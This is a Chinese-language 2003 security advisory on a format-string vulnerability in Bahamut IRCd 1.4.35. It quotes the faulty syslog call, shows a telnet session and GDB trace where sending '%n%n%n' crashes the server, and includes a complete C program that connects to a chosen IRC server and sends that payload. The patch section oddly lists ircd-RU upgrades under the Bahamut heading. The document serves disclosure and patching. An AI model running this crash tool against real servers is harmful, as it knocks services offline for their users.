安全研究

安全漏洞
Bahamut IRCd远程格式串处理漏洞

发布日期:2003-06-28
更新日期:2003-07-04

受影响系统:
Bahamut IRCd 1.4.35
描述:
BUGTRAQ  ID: 8038

Bahamut IRCd是一款流行的IRCD服务程序,是DALnet正式IRC守护程序。

Bahamut IRCd存在格式串处理问题,远程攻击者可以利用这个漏洞可能以IRCd进程权限在系统上执行任意指令。

当Behamut以DEBUGMODE方式编译时存在此漏洞,有问题的代码存在于src/s_debug.c:

      if (level == DEBUG_ERROR)
          syslog(LOG_ERR, debugbuf);

攻击者只要简单的连接服务器,发送几个格式字符串如'%n',服务器就会由于尝试数据到非法地址而引起段错误,造成拒绝服务,精心构建提交格式串,可能以IRCd进程权限在系统上执行任意指令。

<*来源:anonymous 0xbadc0ded.org affiliate.
  
  链接:http://0xbadc0ded.org/advisories/0301.txt
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

[je@vudo ~]$ telnet 127.0.0.1 6667
    Trying 127.0.0.1...
    Connected to 127.0.0.1.
    Escape character is '^]'.
    :server.dal.net NOTICE AUTH :*** Looking up your hostname...
    :server.dal.net NOTICE AUTH :*** Checking Ident
    :server.dal.net NOTICE AUTH :*** Found your hostname
    :server.dal.net NOTICE AUTH :*** No Ident response
    %n%n%n
    Connection closed by foreign host.
    [je@vudo ~]$ telnet 127.0.0.1 6667
    Trying 127.0.0.1...
    telnet: Unable to connect to remote host: Connection refused
    [je@vudo ~]$

GDB端会显示如下信息:

    Program received signal SIGSEGV, Segmentation fault.
    0x2f1e4e71 in vfprintf () from /lib/libc.so.6
    (gdb) x/i$pc
    0x2f1e4e71 <vfprintf+9857>:     mov    %ecx,(%eax)
    (gdb) i r eax
    eax            0x0      0
    (gdb) bt
    #0  0x2f1e4e71 in vfprintf () from /lib/libc.so.6
    #1  0x2f2711b2 in vsyslog () from /lib/libc.so.6
    #2  0x2f27101d in syslog () from /lib/libc.so.6
    #3  0x08064554 in debug (level=791434068, pattern=0x0) at s_debug.c:132
    #4  0x08057096 in parse (cptr=0x2f506440, buffer=0x2f506534 "%n%n%n", bufend=0x2f50653a "") at parse.c:212
    #5  0x08056f29 in client_dopacket (cptr=0x2f506440, buffer=0x0, length=9) at packet.c:236
    #6  0x08060668 in do_client_queue (cptr=0x2f506440) at s_bsd.c:1410
    #7  0x08061070 in read_message (delay=1, listp=0x81cddc0) at s_bsd.c:2131
    #8  0x080551e8 in io_loop () at ircd.c:1211
    #9  0x08054a8e in main (argc=0, argv=0x1) at ircd.c:991
    #10 0x2f1aedc4 in __libc_start_main () from /lib/libc.so.6
    (gdb) detach
    Detaching from program: /home/je/audit/bahamut-1.4.35/src/ircd, process 27284

/*
* Irc crash for bahamut servers based on http://www.securityfocus.com/archive/1/326917/2003-06-24/2003-06-30/0
* Bahamut IRCd <= 1.4.35
* - Dinos nagash@compulink.gr 27/06/03
*/

#include <stdio.h>              /* for printf() */
#include <sys/socket.h>         /* for socket(), connect(), send() and recv() */
#include <arpa/inet.h>          /* for sockaddr_in inet_addr() */
#include <stdlib.h>             /* for atoi() */
#include <unistd.h>             /* for close() */
#include <fcntl.h>              /* for fcntl() */
#include <sys/file.h>           /* for O_NONBLOCK and FASYNC */
#include <sys/time.h>           /* for timeval */
#include <errno.h>              /* for errno and EINPROGRESS */
#include <netdb.h>              /* for gethostbyname */

unsigned long resolv_name(char name[])
{
   struct hostent   *host;              /* structure containing host information */

   if ( (host = gethostbyname(name)) == NULL )
   {
        printf("gethostbyname() failed\n");
        exit(1);
   }
   /* returing the binary, network-byte-ordered address */
   return *( (unsigned long *) host->h_addr_list[0] );
}


int main (int argc, char *argv[])
{
   int sock;                    /* socket descriptor */
   int retval;                  /* return value from connect() */
   struct sockaddr_in ServAddr; /* socks's server address */
   char *servIP;                /* server IP address */
   char *socksbuf;              /* send buffer */
   unsigned short ServPort;     /* socks server port */
   struct timeval tv;           /* timeout values */
   unsigned int len;            /* message length */
   fd_set sockSet;              /* set of socket description */
   unsigned long theip;         /* the ip */
   fd_set setit;                /* fd settings for select() */
   int i;

   if ( argc < 2 )
   {
        printf("Irc Crash \n");
        printf("Usage:");
        printf("./ircc <irc-server> <port>\n");
        exit(1);
   }

   servIP = argv[1];
   ServPort = atoi(argv[2]);

   if ( ( sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ) < 0 )
        return -1;      /* There is no socket for us :( */

   memset(&ServAddr, 0, sizeof(ServAddr));
   ServAddr.sin_family          = AF_INET;
   ServAddr.sin_addr.s_addr     = resolv_name(servIP);  /* irc-server ip */
   ServAddr.sin_port            = htons(ServPort);      /* port */


   if ( connect(sock, (struct sockaddr *)&ServAddr, sizeof(ServAddr)) == 0 ) {
        printf("Connected...\n");
   }
   else {
        printf("Error connecting to the ircserver\n");
        close(sock);
        exit(1);
   }
   sleep(1); /* just sleep */
   memset(&socksbuf, 0, sizeof(socksbuf));
   socksbuf = "%n%n%n";
   printf("Sending buffer %s\n",socksbuf);
   i = send(sock, socksbuf, 7, 0);
   if (i <0) {
        printf ("Error sending buffer\n");
        close(sock);
        return -1;
   }

   printf("Buffer send\n");

   close(sock);
   return 0;
}

建议:
厂商补丁:

Bahamut
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

ircd-RU! ircd-RU! 1.0.6 -release:

ircd-RU! Upgrade ircd-RU-1.0.6-04-stable.tar.gz
ftp://ftp.ircd.ru/pub/ircd-RU/ircd-RU-1.0.6-04-stable.tar.gz

ircd-RU! ircd-RU! 1.0.6 -03-stable:

ircd-RU! Upgrade ircd-RU-1.0.6-04-stable.tar.gz
ftp://ftp.ircd.ru/pub/ircd-RU/ircd-RU-1.0.6-04-stable.tar.gz

ircd-RU! ircd-RU! 1.0.6 -02-stable:

ircd-RU! Upgrade ircd-RU-1.0.6-04-stable.tar.gz
ftp://ftp.ircd.ru/pub/ircd-RU/ircd-RU-1.0.6-04-stable.tar.gz

ircd-RU! ircd-RU! 1.0.6 -01-stable:

ircd-RU! Upgrade ircd-RU-1.0.6-04-stable.tar.gz
ftp://ftp.ircd.ru/pub/ircd-RU/ircd-RU-1.0.6-04-stable.tar.gz

浏览次数:3089
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障